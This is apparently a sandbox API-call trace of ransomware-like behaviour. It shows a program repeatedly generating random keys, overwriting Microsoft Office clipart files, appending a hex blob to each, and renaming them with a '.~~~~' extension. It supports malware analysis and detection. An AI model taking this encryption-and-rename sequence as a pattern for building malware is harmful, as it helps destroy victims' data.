	[0107.054] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0107.054] GetLastError () returned 0x0
	[0107.054] GetLastError () returned 0x0
	[0107.054] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0107.054] GetLastError () returned 0x0
	[0107.055] GetLastError () returned 0x0
	[0107.228] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffefc2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.228] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x103e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x103e, lpOverlapped=0x0) returned 1
	[0107.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.229] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.229] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.229] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.229] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.229] CloseHandle (hObject=0x138) returned 1
	[0107.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.230] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.~~~~")) returned 1
	[0107.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0107.231] GetLastError () returned 0x0
	[0107.231] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0107.232] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.232] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0107.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0107.233] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22722288694) returned 1
	[0107.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa9952d30, dwHighDateTime=0x1d60e1e)) 
	[0107.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0107.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0107.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0107.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2d40
	[0107.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2d40 | out: hHeap=0x300000) returned 1
	[0107.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28753b0
	[0107.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.234] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0107.234] GetLastError () returned 0x0
	[0107.234] GetLastError () returned 0x0
	[0107.234] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0107.234] GetLastError () returned 0x0
	[0107.234] GetLastError () returned 0x0
	[0107.254] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffdf1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.254] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x20e4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x20e4, lpOverlapped=0x0) returned 1
	[0107.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.255] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.255] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.255] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.255] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.255] CloseHandle (hObject=0x138) returned 1
	[0107.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2a88
	[0107.285] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.~~~~")) returned 1
	[0107.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2a88 | out: hHeap=0x300000) returned 1
	[0107.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0107.286] GetLastError () returned 0x0
	[0107.287] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0107.289] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.289] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0107.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0107.289] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22727908569) returned 1
	[0107.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa99c5150, dwHighDateTime=0x1d60e1e)) 
	[0107.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0107.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0107.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0107.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807418
	[0107.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807418 | out: hHeap=0x300000) returned 1
	[0107.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2a88
	[0107.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875a38
	[0107.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2a88 | out: hHeap=0x300000) returned 1
	[0107.290] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0107.291] GetLastError () returned 0x0
	[0107.291] GetLastError () returned 0x0
	[0107.291] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0107.291] GetLastError () returned 0x0
	[0107.291] GetLastError () returned 0x0
	[0107.300] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff462f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.301] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb9d1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xb9d1, lpOverlapped=0x0) returned 1
	[0107.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.302] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.303] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.303] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.303] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.303] CloseHandle (hObject=0x138) returned 1
	[0107.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.322] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.~~~~")) returned 1
	[0107.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0107.323] GetLastError () returned 0x0
	[0107.323] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0107.324] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.325] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0107.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0107.325] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22731490865) returned 1
	[0107.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa9a37570, dwHighDateTime=0x1d60e1e)) 
	[0107.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0107.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0107.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0107.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28074c0
	[0107.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28074c0 | out: hHeap=0x300000) returned 1
	[0107.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875d30
	[0107.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.326] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0107.326] GetLastError () returned 0x0
	[0107.326] GetLastError () returned 0x0
	[0107.326] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0107.326] GetLastError () returned 0x0
	[0107.326] GetLastError () returned 0x0
	[0107.430] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffbdc6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.431] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x423a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x423a, lpOverlapped=0x0) returned 1
	[0107.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0107.431] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.431] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.432] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.432] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.432] CloseHandle (hObject=0x140) returned 1
	[0107.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.432] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.~~~~")) returned 1
	[0107.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0107.433] GetLastError () returned 0x0
	[0107.923] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0107.954] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.954] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0107.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0107.954] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22794417977) returned 1
	[0107.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa02ac70, dwHighDateTime=0x1d60e1e)) 
	[0107.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0107.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0107.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0107.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28076f0
	[0107.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28076f0 | out: hHeap=0x300000) returned 1
	[0107.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3310
	[0107.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28277a8
	[0107.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3310 | out: hHeap=0x300000) returned 1
	[0107.955] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0107.955] GetLastError () returned 0x0
	[0107.955] GetLastError () returned 0x0
	[0107.955] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0107.955] GetLastError () returned 0x0
	[0107.955] GetLastError () returned 0x0
	[0107.961] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffd323, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.961] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2cdd, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x2cdd, lpOverlapped=0x0) returned 1
	[0107.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.962] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.963] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.963] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.963] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.963] CloseHandle (hObject=0x140) returned 1
	[0107.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a3310
	[0107.963] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.~~~~")) returned 1
	[0107.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3310 | out: hHeap=0x300000) returned 1
	[0107.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0107.964] GetLastError () returned 0x0
	[0107.965] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0107.966] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.966] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0107.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0107.966] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22795610302) returned 1
	[0107.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa050dd0, dwHighDateTime=0x1d60e1e)) 
	[0107.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0107.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0107.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0107.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807798
	[0107.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807798 | out: hHeap=0x300000) returned 1
	[0107.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3310
	[0107.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
